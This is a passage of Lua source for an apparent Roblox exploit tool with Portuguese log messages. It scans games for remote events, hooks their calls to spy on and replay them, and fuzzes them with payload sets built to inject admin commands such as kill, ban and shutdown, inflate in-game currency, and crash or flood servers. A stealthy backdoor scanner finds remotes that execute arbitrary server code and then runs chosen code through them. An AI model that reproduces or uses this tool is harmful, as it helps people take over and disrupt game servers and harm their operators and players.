Parent = leftColumn
})

[Link] = create("TextBox", {
Name = "HttpUrlInput",
Text = "[Link]
Size = [Link](1, 0, 0, 30),
Position = [Link](0, 0, 0, 20),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = leftColumn
})

create("TextLabel", {
Text = "Method:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0, 55),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = leftColumn
})

[Link] = [Link](leftColumn, "HttpMethodDropdown")


[Link] = [Link](0,0,0,80)
[Link]:SetItems({"POST", "GET", "PUT", "DELETE", "PATCH",
"HEAD"})

[Link] = create("TextButton", {
Name = "SendHttpRequestButton",
Text = "Send HTTP Request",
Size = [Link](1, 0, 0, 40),
Position = [Link](0, 0, 0, 120),
Font = [Link],
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = leftColumn
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

create("TextLabel", {
Text = "Headers (JSON):",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})

[Link] = create("TextBox", {
Name = "HttpHeadersInput",
Text = '{\n "Authorization": "Bearer YOUR_TOKEN",\n "X-Custom-Header":
"Sentinel"\n}',
Size = [Link](1, 0, 0.4, 0),
Position = [Link](0, 0, 0, 20),
Font = [Link],
TextSize = 12,
BackgroundColor3 = [Link],
TextColor3 = [Link],
MultiLine = true,
TextYAlignment = [Link],
TextXAlignment = [Link],
Parent = rightColumn
})

create("TextLabel", {
Text = "Body:",
Font = [Link],
TextSize = 14,
TextColor3 = [Link],
Size = [Link](1, 0, 0, 20),
Position = [Link](0, 0, 0.4, 25),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = rightColumn
})

[Link] = create("TextBox", {
Name = "HttpBodyInput",
Text = '{"data":"Hello from Sentinel"}',
Size = [Link](1, 0, 0.6, -50),
Position = [Link](0, 0, 0.4, 45),
Font = [Link],
TextSize = 12,
BackgroundColor3 = [Link],
TextColor3 = [Link],
MultiLine = true,
TextYAlignment = [Link],
TextXAlignment = [Link],
Parent = rightColumn
})

create("UICorner", {CornerRadius = [Link](0, 8), Parent = [Link]})


create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
end

function [Link]:SetupRecorderTab(tab)
create("TextLabel", {
Text = "Call Recorder & Replayer",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 20),
Position = [Link](0, 5, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = tab
})

local controlsFrame = create("Frame", {


Size = [Link](1, -10, 0, 35),
Position = [Link](0, 5, 0, 30),
BackgroundTransparency = 1,
Parent = tab
})
create("UIListLayout", {
FillDirection = [Link],
Padding = [Link](0, 10),
Parent = controlsFrame
})

[Link] = create("TextButton", {
Name = "RecordButton",
Text = "⏺ Start Recording",
Font = [Link],
Size = [Link](0.25, 0, 1, 0),
BackgroundColor3 = [Link],
TextColor3 = [Link],
Parent = controlsFrame
})

[Link] = create("TextButton", {
Name = "ReplayButton",
Text = "▶ Replay All",
Font = [Link],
Size = [Link](0.25, 0, 1, 0),
BackgroundColor3 = [Link],
TextColor3 = [Link](1,1,1),
Parent = controlsFrame
})

[Link] = create("TextButton", {
Name = "ClearRecording",
Text = "Clear",
Font = [Link],
Size = [Link](0.25, 0, 1, 0),
BackgroundColor3 = [Link],
TextColor3 = [Link](1,1,1),
Parent = controlsFrame
})

create("UICorner", {CornerRadius = [Link](0, 8), Parent = [Link]})


create("UICorner", {CornerRadius = [Link](0, 8), Parent = [Link]})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

[Link] = create("ScrollingFrame", {
Name = "RecorderFrame",
Size = [Link](1, -10, 1, -75),
Position = [Link](0, 5, 0, 70),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = tab
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 3),
Parent = [Link]
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
end

function [Link]:SetupAdvancedTab(tab)
create("TextLabel", {
Text = "Advanced Analysis Tools (Experimental)",
Font = [Link],
TextSize = 16,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 20),
Position = [Link](0, 5, 0, 5),
BackgroundTransparency = 1,
TextXAlignment = [Link],
Parent = tab
})

[Link] = create("TextButton", {
Name = "AnalyzerButton",
Text = "Analyze Logic of Last Successful Fuzz",
Font = [Link],
Size = [Link](1, -10, 0, 35),
Position = [Link](0, 5, 0, 30),
BackgroundColor3 = [Link],
TextColor3 = [Link](1, 1, 1),
Parent = tab
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})

[Link] = create("ScrollingFrame", {
Name = "AnalyzerResultsFrame",
Size = [Link](1, -10, 1, -75),
Position = [Link](0, 5, 0, 70),
BackgroundColor3 = [Link],
BorderColor3 = [Link],
Parent = tab
})
create("UIListLayout", {
Name = "Layout",
Padding = [Link](0, 3),
Parent = [Link]
})
create("UICorner", {CornerRadius = [Link](0, 8), Parent =
[Link]})
end

[Link] = {}
function [Link]:Log(message, logType)
if not [Link] then
print(message)
return
end

local logData = {
[0] = { P = "[INFO]", C = [Link] },
[1] = { P = "[OK]", C = [Link] },
[2] = { P = "[WARN]", C = [Link] },
[3] = { P = "[ERRO]", C = [Link] },
[4] = { P = "[SPY]", C = [Link] },
[5] = { P = "[VULN]", C = [Link] },
[6] = { P = "[ADAPT]", C = [Link] },
}

local data = logData[logType or 0]


local gui = [Link]
local logFrame = [Link]

while #logFrame:GetChildren() > [Link] + 1 do


local child = logFrame:GetChildren()[2]
if child and child:IsA("TextLabel") then
child:Destroy()
end
end

local label = create("TextLabel", {


Text = [Link]("[%s] %s %s", [Link]("%H:%M:%S"), data.P,
tostring(message)),
RichText = true,
Font = [Link],
TextSize = 12,
TextColor3 = data.C,
TextXAlignment = [Link],
TextWrapped = true,
Size = [Link](1, -10, 0, 14),
AutomaticSize = [Link].Y,
BackgroundTransparency = 1,
Parent = logFrame
})

[Link]()
if logFrame and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
if [Link] > [Link].Y then
[Link] = [Link](0, [Link] -
[Link].Y)
end
end
end

function [Link]:UpdateStatus(text)
if [Link] then
[Link] = tostring(text)
end
end

function [Link]:ScanInstances()
self:Log("Iniciando varredura por instâncias remotas...", 0)
[Link] = {}
local instanceTypes = {"RemoteEvent", "RemoteFunction", "BindableEvent",
"BindableFunction"}
local servicesToScan = {
ReplicatedStorage,
Workspace,
Players,
game:GetService("Lighting"),
CoreGui,
game:GetService("SoundService"),
game:GetService("TextChatService")
}

for _, service in ipairs(servicesToScan) do


local success, err = pcall(function()
for _, descendant in ipairs(service:GetDescendants()) do
if find(instanceTypes, [Link]) then
[Link]([Link], {
instance = descendant,
type = [Link],
shortType = ([Link]:match("^(%a*)[A-Z]") or
"B"):sub(1,1) .. ([Link]:match("([A-Z]%a*)$") or "E"):sub(1,1),
isHooked = false
})
end
[Link]([Link])
end
end)

if not success then


self:Log([Link]("Falha ao escanear o serviço '%s': %s",
[Link], tostring(err)), 3)
end
end

self:UpdateStatus([Link]("%d remotes encontrados. Ocioso.",


#[Link]))
self:Log([Link]("Varredura completa. %d instâncias encontradas.",
#[Link]), 1)
end

function [Link]:PopulateList(forceScan)
local gui = [Link]
local listFrame = [Link]
[Link](function()
if forceScan then
[Link] = false
[Link] = "Verificando..."
self:UpdateStatus("Iniciando varredura completa...")
self:ScanInstances()
[Link] = "Scan All Remotes"
[Link] = true
end

[Link] = [Link]
local children = listFrame:GetChildren()
for _, v in ipairs(children) do
if v:IsA("Frame") then
v:Destroy()
end
end

local filterText = [Link]:lower()

for i, remoteData in ipairs([Link]) do


if not [Link] or not [Link] then
[Link]([Link], i)
else
if filterText == "" or
[Link]:GetFullName():lower():find(filterText) then
local itemFrame = create("Frame", {
Name = [Link],
LayoutOrder = i,
Size = [Link](1, 0, 0, 30),
BackgroundColor3 = [Link],
Parent = listFrame
})
create("UICorner", { CornerRadius = [Link](0, 8), Parent =
itemFrame })

local btn = create("TextButton", {


Name = "SelectButton",
Size = [Link](1, -35, 1, 0),
Text = "",
BackgroundTransparency = 1,
Parent = itemFrame
})

create("TextLabel", {
Size = [Link](0, 30, 1, 0),
Position = [Link](0, 5, 0, 0),
Text = [Link],
Font = [Link],
TextColor3 = [Link] and [Link] or
[Link],
TextSize = 14,
BackgroundTransparency = 1,
Parent = btn
})

create("TextLabel", {
Size = [Link](1, -40, 1, 0),
Position = [Link](0, 35, 0, 0),
Text = [Link]:GetFullName(),
Font = [Link],
TextColor3 = [Link],
TextSize = 11,
TextXAlignment = [Link],
BackgroundTransparency = 1,
Parent = btn
})

local spyButton = create("TextButton", {


Name = "SpyButton",
Size = [Link](0, 30, 1, -4),
Position = [Link](1, -32, 0, 2),
BackgroundColor3 = [Link] and
[Link] or [Link],
Text = "S",
Font = [Link],
TextColor3 = [Link],
TextSize = 14,
Parent = itemFrame
})
create("UICorner", { CornerRadius = [Link](0, 6), Parent =
spyButton })

spyButton.MouseButton1Click:Connect(function()
[Link]:ToggleSpy(remoteData)
end)

btn.MouseButton1Click:Connect(function()
[Link] = remoteData
self:Log("Selecionado: " ..
[Link]:GetFullName(), 2)
self:UpdateStatus("Selecionado: " ..
[Link])

for _, frame in ipairs(listFrame:GetChildren()) do


if frame:IsA("Frame") then
local colorTween = animate(frame,
[Link](0.2), { BackgroundColor3 = [Link] })
colorTween:Play()
end
end

local activeColorTween = animate(itemFrame,


[Link](0.2), { BackgroundColor3 = [Link] })
activeColorTween:Play()
self:UpdateDetailPanel(remoteData)
end)
end
end
end

[Link]()
if listFrame and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
end
end)
end
function [Link]:UpdateDetailPanel(remoteData)
local frame = [Link]
local children = frame:GetChildren()
for _, v in ipairs(children) do
if not v:IsA("UIListLayout") and not v:IsA("UIPadding") and [Link] ~=
"TitleLabel" then
v:Destroy()
end
end

local function addDetail(label, value)


create("TextLabel", {
Text = [Link]("<b>%s:</b> %s", label, value),
RichText = true,
Font = [Link],
TextSize = 12,
TextColor3 = [Link],
Size = [Link](1, -10, 0, 14),
AutomaticSize = [Link].Y,
TextXAlignment = [Link],
BackgroundTransparency = 1,
Parent = frame
})
end

addDetail("Name", [Link])
addDetail("Class", [Link])
addDetail("Path", [Link]:GetFullName())
addDetail("Parent", [Link] and
[Link]:GetFullName() or "nil")
addDetail("Hooked", tostring([Link]))
end

function [Link]:Execute(remoteData, args, callback)


local inst = [Link]
local success, result
local startTime = tick()

if [Link] == "RemoteEvent" then


success, result = pcall([Link], inst, unpack(args))
elseif [Link] == "RemoteFunction" then
success, result = pcall([Link], inst, unpack(args))
elseif [Link] == "BindableEvent" then
success, result = pcall([Link], inst, unpack(args))
elseif [Link] == "BindableFunction" then
success, result = pcall([Link], inst, unpack(args))
end

local duration = [Link]("%.2fms", (tick() - startTime) * 1000)

if [Link]:find("Function") then
if success then
local serializedResult = [Link]:Serialize(result)
self:Log([Link]("Invoke OK (%s) -> %s", duration,
serializedResult), 1)
if callback then
pcall(callback, true, result, args)
end
else
self:Log([Link]("Invoke ERR (%s): %s", duration,
tostring(result)), 3)
if callback then
pcall(callback, false, result, args)
end
end
else
if not success then
self:Log([Link]("Fire ERR (%s): %s", duration,
tostring(result)), 3)
end
if callback then
pcall(callback, success, result, args)
end
end

return success, result


end

function [Link]:ExecutePayload()
if not [Link] then
return self:Log("Nenhuma instância selecionada.", 3)
end

local func, err = loadstring([Link])


if not func then
return self:Log("Erro de sintaxe no Payload: " .. tostring(err), 3)
end

local success, payloadArgs = pcall(func)


if not success then
return self:Log("Erro na execução do Payload: " .. tostring(payloadArgs),
3)
end

if type(payloadArgs) ~= "table" then


payloadArgs = {payloadArgs}
end

self:Log("Disparando " ..
[Link]:GetFullName() .. " com payload
customizado...", 0)
self:UpdateStatus("Disparando payload customizado em " ..
[Link])
self:Execute([Link], payloadArgs)
end

function [Link]:AttemptRequireInjection()
if not [Link] then
return self:Log("Nenhum remote selecionado para injetar o require.", 3)
end

local assetId = tonumber([Link])


if not assetId then
return self:Log("Asset ID inválido. Insira apenas números.", 3)
end

self:Log([Link]("Tentando injetar require(%d) em %s...", assetId,


[Link]), 5)
self:Execute([Link], {require, assetId})
end

function [Link]:SendHttpRequest()
if not [Link] then
return self:Log("HttpService não está disponível ou habilitado neste
jogo.", 3)
end

local gui = [Link]


local url = [Link]
local method =
[Link][[Link]]
local headers_str = [Link]
local body = [Link]

if not url:match("^[Link] and not url:match("^[Link] then


return self:Log("URL inválida. Deve começar com http:// ou [Link] 3)
end

local headers = {}
local s, parsed_json = pcall([Link], HttpService, headers_str)
if s and type(parsed_json) == "table" then
headers = parsed_json
else
self:Log("Headers JSON inválidos. Enviando sem headers customizados.", 2)
end

self:Log([Link]("Enviando requisição %s para %s...", method, url:sub(1,


50)), 0)

[Link](function()
local success, response = pcall([Link], HttpService, {
Url = url,
Method = method,
Headers = headers,
Body = body
})

if success then
self:Log([Link]("HTTP Response (%d): %s", [Link],
[Link]), [Link] and 1 or 5)
self:Log("Body: " .. [Link]:sub(1, 800), 0)
else
self:Log("Falha na requisição HTTP: " .. tostring(response), 3)
end
end)
end

[Link] = {}
do
local BackdoorRunner = [Link]

[Link] = false
[Link] = false
[Link] = false
[Link] = nil
local BACKDOOR_SOLVER = {}
local BACKDOOR_FILTER = {}
local URSTRING_TO_BACKDOOR = {}
local ALPHABET = {
"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o",
"p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O",
"P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
}

local EXEC_DEBUG = [[
local BEXE_stdout = {};
local print = function(...) [Link](BEXE_stdout, { value = {...} });
end;
local warn = function(...) [Link](BEXE_stdout, { warn = true, value =
{...} }); end;
local int, err = pcall(function() %s end);
local BEXE = [Link]("BoolValue");
[Link] = "%s";
[Link] = int;
if not int then BEXE:SetAttribute("err", err); end;
if #BEXE_stdout > 0 then BEXE:SetAttribute("stdout",
game:GetService("HttpService"):JSONEncode(BEXE_stdout)); end;
[Link] = workspace;
game:GetService("Debris"):AddItem(BEXE, 3);
]]

local function runRemote(r, ...)


if r:IsA("RemoteEvent") then
return [Link]([Link], r, ...)
elseif r:IsA("RemoteFunction") then
return [Link]([Link], r, ...)
end
end

local function urString(len, parent)


local name = ""
local r = [Link]()
while true do
for i = 1, len do
name = name .. ALPHABET[r:NextInteger(1, #ALPHABET)]
end
if parent == nil or parent:FindFirstChild(name) == nil then
break
end
name = ""
end
return name
end

local function makeGateway(r, s)


return { b = r, Execute = [Link] }
end

BACKDOOR_SOLVER[1] = {
makeDummy = function(r, dummyName)
local src = ('local d = [Link]("BoolValue", workspace);[Link] =
"%s";game:GetService("Debris"):AddItem(d, 3);'):format(dummyName)
runRemote(r, src)
end,
Execute = function(g, code)
return runRemote(g.b, code)
end
}

BACKDOOR_FILTER[1] = function(r)
return r:IsA("RemoteEvent") or r:IsA("RemoteFunction")
end;
BACKDOOR_FILTER[2] = function(r)
return not (([Link] == ReplicatedStorage and
r:FindFirstChild("__FUNCTION")) or ([Link] == "__FUNCTION" and
[Link]:IsA("RemoteEvent") and [Link] == ReplicatedStorage))
end
BACKDOOR_FILTER[3] = function(r)
local Parent = tostring([Link] and [Link])
return not (Parent == "HDAdminClient")
end

local function filterRemote(r, remotes)


for _, filter in ipairs(BACKDOOR_FILTER) do
if not filter(r) then return false end
end
[Link](remotes, r)
return true
end

local function getRemotes()


local remotes = {}
for _, r in ipairs(game:GetDescendants()) do
filterRemote(r, remotes)
end
return remotes
end

function BackdoorRunner:_internal_scan(remotes)
local Core = [Link]
local GUI = [Link]

Core:Log("Varredura de backdoor dinâmica iniciada (modo furtivo).", 0)


Core:Log("Isso pode demorar um pouco para evitar detecção.", 2)
[Link] = "Status: Varredura iniciada..."

remotes = remotes or getRemotes()


local backdoor

local connection = [Link]:Connect(function(child)


local gateway = URSTRING_TO_BACKDOOR[[Link]]
if gateway then
backdoor = gateway
if [Link] then
connection:Disconnect()
end
end
end)

[Link] = "Status: Testando " .. #remotes .. "


remotes..."
local timeOut = 15 + (#remotes * 0.3)

[Link](function()
for i, r in ipairs(remotes) do
if not [Link] then break end

[Link] = [Link]("Status: Testando


%d/%d", i, #remotes)

for j, s in ipairs(BACKDOOR_SOLVER) do
local g = makeGateway(r, s)
local dummyName = urString(5, Workspace) .. i .. j
URSTRING_TO_BACKDOOR[dummyName] = g
[Link](r, dummyName)
end
[Link](0.25)
end
end)

local endTime = tick() + timeOut


while [Link] and tick() < endTime do
[Link] = [Link]("Status: Aguardando...
(%.1fs restantes)", endTime - tick())
[Link]()
end

if [Link] then connection:Disconnect() end

[Link] = "Status: Varredura finalizada."


[Link](URSTRING_TO_BACKDOOR)
return backdoor
end

function BackdoorRunner:_internal_execute(code, gateway, canDebug)


local Core = [Link]

Core:Log("Executando código via backdoor: " .. gateway.b:GetFullName(), 0)

if [Link] then return end


[Link] = true

local completed = [Link]("BindableEvent")


[Link]:Connect(function() completed:Destroy() end)

if canDebug then
local token = urString(5, Workspace)
code = EXEC_DEBUG:format(code, token)

local connection = [Link]:Connect(function(child)


if [Link] == token then
connection:Disconnect()

local stdout = child:GetAttribute("stdout")


if typeof(stdout) == "string" then
local integrity, parsed = pcall([Link],
HttpService, stdout)
if integrity then
for _, out in next, parsed do
local prefix = [Link] and "[WARN] " or "[PRINT] "
Core:Log(prefix .. [Link]([Link], " "), 0)
end
end
end

if not [Link] then


local err = child:GetAttribute("err")
Core:Log("Erro de execução: " .. tostring(err), 3)
else
Core:Log("Script executado com sucesso.", 1)
end
completed:Fire([Link])
end
end)
[Link](60, function() if connection and [Link] then
connection:Disconnect() end end)
else
[Link](0.1, function() completed:Fire(true) end)
end

gateway:Execute(gateway, code)

[Link]:Wait()
[Link] = false
Core:Log("Execução finalizada.", 0)
end

function BackdoorRunner:ClearResults()
local list = [Link]
for _,v in ipairs(list:GetChildren()) do
if v:IsA("TextButton") then v:Destroy() end
end
[Link] = [Link](0,0,0,0)
end

function BackdoorRunner:AddResult(gateway)
local list = [Link]
local fullName = gateway.b:GetFullName()

local btn = create("TextButton", {


Name = fullName,
Text = fullName,
Size = [Link](1, -10, 0, 25),
BackgroundColor3 = [Link],
TextColor3 = [Link],
Font = [Link],
TextSize = 12,
TextXAlignment = [Link],
Parent = list
})

btn.MouseButton1Click:Connect(function()
[Link] = gateway
[Link]:Log("Backdoor selecionado: " .. fullName, 1)
for _, child in ipairs(list:GetChildren()) do
if child:IsA("TextButton") then
child.BackgroundColor3 = [Link]
end
end
btn.BackgroundColor3 = [Link]
end)

[Link]()
if list and [Link] then
[Link] = [Link](0, 0, 0,
[Link].Y)
end
end

function BackdoorRunner:StartScan()
if [Link] then
[Link]:Log("Uma varredura já está em progresso.", 2)
return
end

self:ClearResults()
[Link] = true
[Link] = nil

[Link](function()
local startTime = tick()
local backdoor = self:_internal_scan()

if backdoor then
self:AddResult(backdoor)
[Link] = backdoor
[Link]:Log([Link]("Backdoor encontrado: %s",
backdoor.b:GetFullName()), 5)
[Link] = "Status: Backdoor
encontrado!"
else
[Link]:Log("Nenhum backdoor explorável encontrado.",
2)
[Link] = "Status: Nenhum
backdoor encontrado."
end

local duration = [Link]("%.2f", tick() - startTime)


[Link]:Log([Link]("Varredura dinâmica finalizada em
%s segundos.", duration), 1)
[Link] = false
end)
end

function BackdoorRunner:StartExecution()
if [Link] then return end

if not [Link] then


[Link]:Log("Nenhum backdoor foi encontrado ou selecionado.
Por favor, verifique primeiro.", 3)
return
end

local code = [Link]


if not code or code:gsub("%s", "") == "" then
[Link]:Log("O código de execução está vazio.", 3)
return
end

[Link](function()
self:_internal_execute(code, [Link], [Link])
end)
end

function BackdoorRunner:ToggleDebug()
[Link] = not [Link]
local state, color = [Link] and "ON" or "OFF", [Link] and
[Link] or [Link]
[Link] = "Debug Mode: " .. state
[Link].TextColor3 = color
[Link]:Log("O modo de depuração do backdoor agora está " ..
state, 2)
end
end

[Link] = {
HeuristicAnalysis = false,
AdaptiveFuzzing = false,
LastSuccessfulFuzz = nil,
PayloadFamilies = {
moderation = {"kick", "ban", "kill", "slay", "mute", "unban", "shutdown",
"warn", "respawn", "jail", "freeze", "explode"},
stats = {"setstat", "addstat", "givestat", "set", "add", "give", "cash",
"money", "points", "gems", "strength", "rebirth", "level", "xp", "exp",
"setleaderstat"},
teleport = {"tp", "teleport", "bring", "goto", "warp"},
admin = {"admin", "mod", "owner", "god", "fly", "noclip", "speed",
"btools", "GiveItem", "SetData", "execute", "run", "char", "unchar", "superadmin"},
}
}

function [Link]:GetPayloads(profileName)
local localPlayerName = LocalPlayer and [Link] or "Player1"
local nan, inf = 0/0, 1/0
local prefixes = {":", ";", "!", "/", ".", "m/", "e/", "s/"}
local playerInstance = LocalPlayer and [Link]

local profiles = {
Basic = {
{""}, {0}, {1}, {-1}, {true}, {false}, {nil}, {{}}, {"test"},
{LocalPlayer}, {playerInstance}
},

['Injeção de Comando'] = {},

['Manipulação de Stats'] = {
{"SetStat", "Cash", 9e15}, {"AddStat", "Money", 1e12}, {"give", "Cash",
9e15},
{"set", "Points", 9e15}, {"Rebirth", 1000}, {"add", "Gems", -9e15},
{"set", "Strength", "inf"}, {"add", "Level", 9999},
{"setstat", localPlayerName, "Cash", 9e15}, {"GiveItem", "AdminSword",
1},
{"setvalue", "all", "Cash", 9e15}, {"SetData", "Money", 1e18},
{"setleaderstat", "Cash", 9e9}
},
['Destrutivo / Crash'] = {
{nan}, {inf}, {-inf}, {[Link]("A", 2^15)}, {nil, "some_action"},
{[Link](inf, inf, inf)}, {[Link](nan,nan,nan)},
{[Link](nan,nan,nan)},
{playerInstance, playerInstance, playerInstance}
},

['Incompatibilidade de Tipos'] = {
{123, "string", true}, {[Link](), [Link]()},
{[Link](1,1,1,1)}, {[Link](1,0,1)},
{[Link]},
{{key="value"}, {1,2,3}}, {function() print("exploited") end}
},

['Exploração de Metatables'] = {
{setmetatable({}, {__index = function(t,k) error("Leak via __index:
"..tostring(k)) end})},
{setmetatable({}, {__newindex = function(t,k,v) error("Leak via
__newindex on key: "..tostring(k)) end})},
{setmetatable({}, {__namecall = function(...) local a = {...};
[Link](a, 1, "Leaked Namecall:"); error([Link](a, " ")) end})},
{setmetatable({}, {__tostring = function(t) error("Leak via
__tostring") end})},
{setmetatable({}, {__call = function(...) error("Leak via __call")
end})},
{setmetatable({}, {__metatable = "locked"})},
{setmetatable({}, {__gc = function() while true do end end})}
},

['Abuso de Memória e Ambiente'] = {


{[Link]("A", 2^16)},
{(function() local t = {}; for i=1,128 do t = {t} end; return t end)
()},
{[Link](20000, "flood")},
{setmetatable({}, {__index = getfenv})},
{setmetatable({}, {__index = getmetatable})}
}
}

for _, cmd in ipairs({"kill", "kick", "ban", "bring", "tp", "respawn",


"explode", "jail", "shutdown"}) do
for _, prefix in ipairs(prefixes) do
[Link](profiles['Injeção de Comando'], {prefix .. cmd, "all"})
[Link](profiles['Injeção de Comando'], {prefix .. cmd,
localPlayerName})
[Link](profiles['Injeção de Comando'], {cmd, "all"})
end
end

for _, cmd in ipairs({"god", "fly", "noclip", "btools", "admin", "mod"}) do


for _, prefix in ipairs(prefixes) do
[Link](profiles['Injeção de Comando'], {prefix .. cmd, "me"})
[Link](profiles['Injeção de Comando'], {prefix .. cmd,
localPlayerName})
[Link](profiles['Injeção de Comando'], {cmd, "me"})
end
end

if profileName == "Custom" then


local func, err = loadstring([Link])
if func then
local success, result = pcall(func)
if success and type(result) == 'table' then
return result
else
[Link]:Log("Erro no payload customizado: " ..
tostring(err or result), 3)
end
end
return {{}}
end

return profiles[profileName] or [Link]


end

function [Link]:GenerateAdaptivePayloads(basePayload)
local newPayloads = {}
local arg_string, arg_number, arg_player = nil, nil, nil

for i, arg in ipairs(basePayload) do


if type(arg) == "string" and not arg_string then
arg_string = arg
end
if type(arg) == "number" and not arg_number then
arg_number = arg
end
if typeof(arg) == "Instance" and arg:IsA("Player") and not arg_player then
arg_player = arg
end
end

if arg_string then
for familyName, keywords in pairs([Link]) do
if find(keywords, arg_string:lower()) then
[Link]:Log("Adaptando-se à família de payload:
"..familyName, 6)
for _, newKeyword in ipairs(keywords) do
if newKeyword ~= arg_string then
local newPayload = {[Link](basePayload)}
newPayload[1] = newKeyword
[Link](newPayloads, newPayload)
end
end
break
end
end
end

if arg_number then
local numbers_to_try = {9e9, -9e9, 0, 1, -1, 1337, 9e15}
for _, num in ipairs(numbers_to_try) do
local newPayload = {[Link](basePayload)}
newPayload[#newPayload] = num
[Link](newPayloads, newPayload)
end
end

return newPayloads
end

function [Link]:AnalyzeAndAdapt(remoteData, payload, success,


result)
if not [Link] or not success or [Link] ~=
"RemoteFunction" then
return
end

local resultStr = tostring(result):lower()


local isVulnerable = false
local keywords = {"success", "granted", "true", "admin", "killed", "kicked",
"banned", "teleported", "given", "welcome", "done", "executed"}

for _, keyword in ipairs(keywords) do


if resultStr:find(keyword) then
isVulnerable = true
break
end
end

if result == true then


isVulnerable = true
end

if isVulnerable then
local payloadStr = [Link]:Serialize(payload)
[Link]:Log([Link]("VULN Heurístico: Payload `%s`
retornou resposta positiva: `%s`", payloadStr, resultStr), 5)
[Link] = {remoteData = remoteData, payload = payload,
result = result}

if [Link] then
local adaptivePayloads = self:GenerateAdaptivePayloads(payload)
if #adaptivePayloads > 0 then
[Link]:Log("Gerando "..#adaptivePayloads.." novos
payloads adaptativos...", 6)
[Link](function()
for _, newPayload in ipairs(adaptivePayloads) do
[Link]:Execute(remoteData, newPayload,
function(s, r, a) self:AnalyzeAndAdapt(remoteData, a, s, r) end)
[Link]([Link])
end
end)
end
end
end
end

function [Link]:Run(remoteData, profile)


if not remoteData or not [Link] then
return [Link]:Log("Instância inválida para o fuzzer.", 3)
end

[Link]:Log([Link]("Iniciando Fuzz em %s com perfil


'%s'...", [Link]:GetFullName(), profile), 0)
[Link]:UpdateStatus([Link]("Fuzzing %s...",
[Link]))
[Link](function()
local payloads = self:GetPayloads(profile)
[Link]:Log([Link]("Carregados %d payloads para o perfil
'%s'.", #payloads, profile), 0)

for i, payload in ipairs(payloads) do


if not [Link] or not [Link] then
[Link]:Log("A instância do Fuzzer se tornou inválida.
Abortando.", 3)
break
end

[Link]:UpdateStatus([Link]("Fuzzing %s... (%d/%d)",


[Link], i, #payloads))

[Link]:Execute(remoteData, payload, function(success,


result, args)
self:AnalyzeAndAdapt(remoteData, args, success, result)
end)

[Link]([Link])
end

[Link]:Log([Link]("Fuzzing completo para %s.",


[Link]:GetFullName()), 1)
[Link]:UpdateStatus([Link]("%d remotes encontrados.
Ocioso.", #[Link]))
end)
end

function [Link]:StressTest(remoteData)
if not remoteData or not [Link] then
return [Link]:Log("Instância inválida para o teste de
estresse.", 3)
end

[Link]:Log("Iniciando teste de estresse em " ..


[Link]:GetFullName(), 5)

local payload = {}
pcall(function()
local func = loadstring([Link])
local s, p = pcall(func)
if s and type(p) == "table" then
payload = p
end
end)

if #payload == 0 then
[Link]:Log("Usando payload vazio para o teste de estresse.",
2)
end

[Link](function()
local endTime = tick() + 5
local fireCount = 0

while tick() < endTime do


if not [Link] or not [Link] then
[Link]:Log("Instância do teste de estresse se tornou
inválida. Abortando.", 3)
break
end

[Link]:Execute(remoteData, payload)
fireCount = fireCount + 1
[Link]()
end

[Link]:Log([Link]("Teste de estresse concluído.


Disparado %d vezes em 5 segundos.", fireCount), 1)
end)
end

[Link] = {}

function [Link]:ToggleSpy(remoteData)
if not [Link] then
return [Link]:Log("`hookfunction` não está disponível no seu
executor.", 3)
end

local inst = [Link]


local key = tostring(inst)

if [Link][key] then
pcall(unhookfunction, inst[[Link][key].method])
[Link][key] = nil
[Link] = false
[Link]:Log("Spy desativado para: " .. inst:GetFullName(), 2)
else
local method = ([Link]:find("Event") and
([Link]:find("Bindable") and "Fire" or "FireServer")) or
([Link]:find("Function") and ([Link]:find("Bindable") and
"Invoke" or "InvokeServer"))

if not inst[method] then


return [Link]:Log("Não é possível hookar o método " ..
method, 3)
end

local originalFunc
local success, err = pcall(function()
originalFunc = hookfunction(inst[method], newcclosure(function(...)
local args = {...}
if [Link] then
local spyMsg = [Link]("SPY: %s(%s)", inst:GetFullName(),
[Link]:Serialize(args))
[Link]:Log(spyMsg, 4)

if [Link] and
[Link] and
[Link] == [Link] then
[Link]:RecordCall(args)
end
end
return originalFunc(...)
end))
end)

if not success then


return [Link]:Log("Falha ao criar o hook:
"..tostring(err), 3)
end

[Link][key] = { original = originalFunc, method = method }


[Link] = true
[Link]:Log("Spy ativado para: " .. inst:GetFullName(), 1)
end

[Link]:PopulateList(false)
end

[Link] = {
IsRecording = false,
RecordedCalls = {}
}

function [Link]:ToggleRecording()
[Link] = not [Link]
local gui = [Link]

if [Link] then
if not [Link] then
[Link] = false
[Link]:Log("Selecione um remote antes de gravar.", 3)
return
end

if not [Link] then


[Link]:ToggleSpy([Link])
if not [Link] then
[Link] = false
[Link]:Log("Falha ao ativar o spy automaticamente.
Gravação cancelada.", 3)
return
end
[Link]:Log("Spy ativado automaticamente para gravação.",
2)
end

[Link] = "■ Stop Recording"


[Link].TextColor3 = [Link]
